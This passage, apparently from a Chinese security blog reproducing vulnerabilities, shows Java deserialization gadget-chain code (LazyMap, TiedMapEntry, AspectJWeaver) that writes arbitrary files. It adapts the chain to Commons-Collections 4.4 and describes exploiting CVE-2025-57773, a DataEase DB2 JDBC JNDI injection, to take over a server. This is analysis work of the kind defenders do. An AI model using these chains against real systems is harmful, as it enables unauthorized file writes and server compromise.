HashMap map = (HashMap) constructor.newInstance("/Users/gehansheng/Desktop/Java安全/漏洞复现/dataease/DB2/tmp", 123);
Map lazyMap = LazyMap.decorate(map, new ConstantTransformer("deserialize attack".getBytes()));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "1.txt");
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry, "KaGty1");
deserialize(serialize(hashMap));
}
}

成功写入文件

image-20250827172737-pgkjzsj

su18师傅利用的是HashSet,后续会补上利用代码,不多赘述。

AspectJWeaver 1.9.21.1 + Commons-Collections 4.4

Commons-Collections的不同点在LazyMap类中,移除了decorate方法,但是无伤大雅,取而代之的是

image-20250827175631-qo3v8c0

在原利用链代码中修改如下代码即可

1
2
3
Map lazyMap = LazyMap.decorate(map, new ConstantTransformer("deserialize attack".getBytes()));
//修改为
Map lazyMap = LazyMap.lazyMap(map, new ConstantTransformer("deserialize attack".getBytes()));

成功写入

image-20250827175757-q4qf17s

给高版本Commons-Collections多了一种利用方式。

CVE-2025-57773 Dataease db2 任意文件写

可以看到对DB2 jdbc url没有进行任何过滤,这就提供了jndi注入的可能

image-20250828170536-iq9233j

同时项目中存在BeanFactory, ELProcessor, GroovyScriptFactor等关键依赖

image-20250828170925-mpdtlmn

image-20250828171009-1bhv6xe

image-20250828171040-dl7vq87

同时还有Commons-Collections 4.4.4的依赖

image-20250828171152-kh6hkax

利用方式很明显了,db2 jdbc jndi注入配合CC 4.4.4实现任意文件写入,写入恶意文件控制目标服务器权限。

具体利用官方通告写的很详细,利用Java-Chains实现,不多做赘述,附上链接:

https://github.com/dataease/dataease/security/advisories/GHSA-7r8j-6whv-4j5p

新版本的不仅禁用了RMI关键字,并且移除了上述敏感依赖。

上一页
2025-08-28 23:28:13